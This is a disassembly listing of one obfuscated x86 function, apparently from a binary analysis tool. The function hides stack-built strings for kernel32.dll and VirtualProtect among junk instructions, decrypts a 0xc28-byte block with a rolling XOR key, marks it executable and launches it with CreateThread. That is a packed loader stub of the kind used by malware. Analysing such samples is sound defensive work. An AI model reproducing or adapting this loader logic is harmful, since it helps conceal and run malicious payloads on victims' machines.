Function at 0x402249
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xd8
pushfd
xor esi, 0x70195fd5
xor esi, 0x70195fd5
popfd
xchg ebx, ebx
call fcn.004025fd
pushfd
push eax
add esp, 4
popfd
lea eax, [ebp - 0xd8]
pushfd
push 0x70fe5e71
add esp, 4
popfd
pushfd
xor esi, 0xb90fcb41
xor esi, 0xb90fcb41
popfd
mov ebx, 0x61
pushfd
inc esi
dec esi
popfd
push edx
pop edx
add bx, 0xa
push ecx
push eax
pop eax
pop ecx
mov word [eax], bx
push edi
push esi
pop esi
pop edi
push esi
pop esi
sub bx, 6
xchg edx, edx
mov word [eax + 2], bx
push eax
push edi
pop edi
pop eax
add bx, 0xd
pushfd
push ecx
add esp, 4
popfd
push ecx
push edi
pop edi
pop ecx
mov word [eax + 4], bx
push ecx
push edi
pop edi
pop ecx
sub bx, 4
push eax
pop eax
mov word [eax + 6], bx
push ebx
pop ebx
sub bx, 9
xchg edi, edi
pushfd
inc eax
dec eax
popfd
mov word [eax + 8], bx
xchg esi, esi
add bx, 7
xchg edi, edi
mov word [eax + 0xa], bx
xchg esi, edi
xchg edi, esi
mov esi, esi
sub bx, 0x39
pushfd
push edx
add esp, 4
popfd
xchg ebx, esi
xchg esi, ebx
mov word [eax + 0xc], bx
push edi
push eax
pop eax
pop edi
dec bx
pushfd
xor eax, 0xe5ddb154
xor eax, 0xe5ddb154
popfd
mov esi, esi
mov word [eax + 0xe], bx
xchg edx, edx
pushfd
push 0x48dd6f71
add esp, 4
popfd
sub bx, 4
push esi
pop esi
mov word [eax + 0x10], bx
xchg edi, edi
add bx, 0x36
xchg edx, ecx
xchg ecx, edx
pushfd
push 0x56c92e2c
add esp, 4
popfd
mov word [eax + 0x12], bx
mov esi, esi
add bx, 8
pushfd
push 0x7fb1a405
add esp, 4
popfd
pushfd
push 0xbbc55ad2
add esp, 4
popfd
mov word [eax + 0x14], bx
push ecx
pop ecx
mov word [eax + 0x16], bx
push eax
pop eax
push edi
push edx
pop edx
pop edi
mov word [eax + 0x18], 0
pushfd
push 0xfe73b6bc
add esp, 4
popfd
pushfd
push 0x4f0441a9
add esp, 4
popfd
push eax
call dword [sym.imp.kernel32.dll_GetModuleHandleW]
pushfd
inc eax
dec eax
popfd
pushfd
inc ebx
dec ebx
popfd
mov dword [ebp - 0x10], eax
xchg ebx, eax
xchg ebx, eax
push eax
push edx
pop edx
pop eax
lea eax, [ebp - 0xd8]
mov ebx, ebx
push esi
pop esi
mov ebx, 0x61
pushfd
xor ecx, 0x1fa23e77
xor ecx, 0x1fa23e77
popfd
xchg ebx, ebx
sub bl, 0xb
pushfd
push 0x5d6358ac
add esp, 4
popfd
pushfd
inc esi
dec esi
popfd
mov byte [eax], bl
push esi
pop esi
add bl, 0x13
xchg esi, ecx
xchg ecx, esi
mov byte [eax + 1], bl
xchg ecx, esi
xchg esi, ecx
add bl, 9
xchg ebx, ebx
mov byte [eax + 2], bl
xchg esi, ecx
xchg ecx, esi
add bl, 2
pushfd
inc ecx
dec ecx
popfd
push ecx
pop ecx
mov byte [eax + 3], bl
xchg edx, ecx
xchg ecx, edx
inc bl
mov esi, esi
xchg edi, edi
mov byte [eax + 4], bl
xchg ecx, eax
xchg ecx, eax
sub bl, 0x14
pushfd
push eax
add esp, 4
popfd
pushfd
push 0x34e5d2e2
add esp, 4
popfd
mov byte [eax + 5], bl
pushfd
push ebx
add esp, 4
popfd
mov ecx, ecx
add bl, 0xb
pushfd
xor eax, 0x389d7e52
xor eax, 0x389d7e52
popfd
mov byte [eax + 6], bl
xchg edi, esi
xchg esi, edi
mov edx, edx
sub bl, 0x1c
push edi
push edx
pop edx
pop edi
mov byte [eax + 7], bl
push ecx
push edi
pop edi
pop ecx
add bl, 0x22
pushfd
push 0xe58e14
add esp, 4
popfd
pushfd
push ecx
add esp, 4
popfd
mov byte [eax + 8], bl
push ebx
push ecx
pop ecx
pop ebx
sub bl, 3
pushfd
inc ecx
dec ecx
popfd
pushfd
inc esi
dec esi
popfd
mov byte [eax + 9], bl
push eax
pop eax
pushfd
push ecx
add esp, 4
popfd
add bl, 5
mov eax, eax
xchg ebx, esi
xchg esi, ebx
mov byte [eax + 0xa], bl
push eax
pop eax
sub bl, 0xf
mov edi, edi
xchg ebx, edi
xchg edi, ebx
mov byte [eax + 0xb], bl
xchg ecx, ecx
pushfd
push ebx
add esp, 4
popfd
sub bl, 2
push edi
pop edi
xchg esi, eax
xchg esi, eax
mov byte [eax + 0xc], bl
push eax
push esi
pop esi
pop eax
add bl, 0x11
push eax
pop eax
nop
mov byte [eax + 0xd], bl
pushfd
push 0x41458c99
add esp, 4
popfd
mov byte [eax + 0xe], 0
mov eax, eax
push eax
push dword [ebp - 0x10]
call dword [sym.imp.kernel32.dll_GetProcAddress]
pushfd
xor esi, 0x8c5083e1
xor esi, 0x8c5083e1
popfd
mov dword [ebp - 0xc], eax
xchg esi, eax
xchg esi, eax
lea eax, [ebp - 8]
pushfd
push 0x11513bbf
add esp, 4
popfd
push eax
push 4
push 0xc28
push entry0
call dword [ebp - 0xc]
push eax
push edx
pop edx
pop eax
push edx
pop edx
mov edi, entry0
xchg ecx, edx
xchg edx, ecx
mov esi, 0x40100e
xchg edx, eax
xchg edx, eax
mov edi, edi
mov ecx, 0xc28
pushfd
xor eax, 0x2e6aa463
xor eax, 0x2e6aa463
popfd
xchg ecx, eax
xchg ecx, eax
mov edx, 0x37c1667e
pushfd
inc ecx
dec ecx
popfd
mov ebx, 0x8f6656a4
pushfd
inc edx
dec edx
popfd
cld
mov ebx, ebx
lodsb al, byte [esi]
xchg ecx, ecx
xor al, dl
mov ecx, ecx
stosb byte es:[edi], al
mov eax, eax
ror edx, 5
nop
imul edx, edx, 7
mov ecx, ecx
test ebx, 1
xchg esi, esi
je 0x40256f
mov edx, edx
add esi, 1
mov ebx, ebx
ror ebx, 1
mov ecx, ecx
dec ecx
mov eax, eax
test ecx, ecx
mov ecx, ecx
jne 0x402549
mov edx, edx
lea eax, [ebp - 8]
pushfd
push 0x23c7e726
add esp, 4
popfd
push eax
push 0x20
push 0xc28
push entry0
call dword [ebp - 0xc]
xchg ecx, eax
xchg ecx, eax
lea eax, [ebp - 4]
pushfd
xor ecx, 0xbbb61c41
xor ecx, 0xbbb61c41
popfd
push edi
pop edi
push 0
push 0
push eax
push entry0
push 0
push 0
call dword [sym.imp.kernel32.dll_CreateThread]
mov eax, eax
xchg esi, edi
xchg edi, esi
pushfd
xor ebx, 0x26d8ff5e
xor ebx, 0x26d8ff5e
popfd
push 0x3e8
call dword [sym.imp.kernel32.dll_Sleep]
push eax
pop eax
push ebx
pop ebx
jmp 0x4025c6